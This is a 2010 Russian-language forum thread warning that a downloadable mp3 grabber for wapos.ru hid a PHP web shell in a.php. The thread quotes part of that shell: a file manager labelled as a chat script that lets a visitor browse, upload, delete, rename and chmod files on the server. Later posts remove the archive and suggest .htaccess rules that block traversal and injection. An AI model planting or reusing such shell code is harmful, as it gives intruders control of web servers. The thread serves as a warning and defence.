Грабб mp3 с wapos.ru + shell в комплекте!

TAYSON

13 фев 2010 г., 0:45

Кто качал грабб музыки вапос.ру!обратите внимание на файл a.php !
<?
// CHAT POWERED : WAPs.KZ
// ICQ : 354741
// Email : KZsergeyKZ@rambler.ru
// WAPs.KZ CHAT Version 1.0
Error_Reporting(E_ALL & ~E_NOTICE);
if(empty($_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;
echo'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Eraser</title>
<style type="text/css">
body {
font-family:Comic Sans MS;
color:#FF0000;
background-color:#FFFFCC;}
a {
color:#00AA00;
text-decoration:underline;}
a:hover {
color: red;
text-decoration: none;
position: relative;
top: 1px; left: 1px;}
a:visited {
color: 006600;}
b {
color:#008800;
font-style:bold;}
table{
background-color: #FFFFFF;
border: 1px solid #FF8800;}
td{
margin: 0px;
padding: 0px;
border: 1px solid #FF8800;
background-color: #FFCE52;
color: #f00; }</style>
</head><body>';}
/////////////////////////////////
if(empty($_GET['r']) & empty($_GET['input']) & empty($_GET['ren']) & empty($_GET['setchmod']) & empty($_GET['download']) & empty($_GET['up']) & empty($_GET['upload']) & empty($_GET['chmod']) & empty($_GET['rename']) & empty($_GET['rmdir']) & empty($_GET['made']) & empty($_GET['create']) & empty($_GET['del']) & empty($_GET['deldir']) & empty($_GET['f']) & empty($_GET['edit']) & empty($_GET['zip'])& empty($_GET['img'])){
echo'Файл менеджер<hr>';
if(empty($_GET['d'])){$d="./";}
else{$d=$_GET['d'];}
if($d=="./"){$vverh='.'.$d;}
if($d!=="./"){$vverh=$d.'../';}
echo'<a href="?d='.$vverh.'">На уровень вверх</a> 
<a href="?create='.$d.'">Создать файл здесь</a> 
<a href="?up='.$d.'">Загрузить файл сюда</a> 
Вы находитель в каталоге: '.$d.' ';
echo 'Директории:<table>';
$dir = opendir($d);
while($file = readdir($dir)){
if(is_dir($d.'/'.$file)){
if($file != "." && $file != ".."){
$mod=substr(sprintf("%o",fileperms($d.'/'.$file)),-3);
echo'<tr><td width="350"><img src="?img=1" alt=""><a href="?d='.$d.$file.'/">'.$file.'</a></td><td>DIR</td><td>'.$mod.'</td><td><a href="?zip='.$d.$file.'/">[zip]</a></td><td><a href="?deldir='.$d.$file.'/">[del]</a></td><td><a href="?ren='.$d.$file.'/">[rename]</a></td><td><a href="?chmod='.$d.$file.'/">[chmod]</a></td><td><a href="?rmdir='.$d.$file.'/">[revome]</a></td></tr>';}}}
Я думаю достаточно.

Ushaev

13 фев 2010 г., 0:50

Ух а я хотел скачат слава богу пронесло спасибо за инфо

VARG

13 фев 2010 г., 0:54

¤

Граб из темы с грабами удален. Всем кто скачал его, и тем более ставил - удалите оттуда файл a.php!

Ushaev

13 фев 2010 г., 1:02

VARG, Накажи еще виновника того кто его выложил и еще надо проверить все его файлы если есть такая возможность

VARG

13 фев 2010 г., 1:19

¤

Архив заменил, вроде больше ничего там нет, но т.к. с грабами дел принципиально не имею, советую тем кто разбирается посмотреть на всякий случай.
Новый архив здесь: Грабберы под JohnCMS
Выложил сей подлый архив товарищ Мурадхан. Однако неизвестно он ли вложил в архив шелл или не он, поэтому сходу обвинять не стоит, но впредь советую всем быть внимательнее и тщательно проверять все что качаете.

SWAT

13 фев 2010 г., 3:17

Я тоже скачал но слав богу не поставил пока

спасибо

Venser

13 фев 2010 г., 8:04

Юзер кидала, не рекомендуется иметь с ним дело

Вот прикол...он у меня с пол года стоял...

Venser

13 фев 2010 г., 8:31

Юзер кидала, не рекомендуется иметь с ним дело

txt, Уже присмотрел сайт? Аяяй не хорошо

Venser

13 фев 2010 г., 11:32

Юзер кидала, не рекомендуется иметь с ним дело

txt, гг...поэтому и не жаловались) Потому что ты ещё не знаешь как шеллом пользоваться=) Шучу...просто переходишь по адресу шелла и любуешься.

Krite

13 фев 2010 г., 13:42

Изменено

Для тех кто не проверяет архивы на шеллы пропишите в .htaccess

RewriteCond %{QUERY_STRING} ..*\/ [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

И вряд ли что-то сможет "хакер" сделать с ним.
при попытке перейти в какую нибудь категорию через шелл выдаст ошибку 403.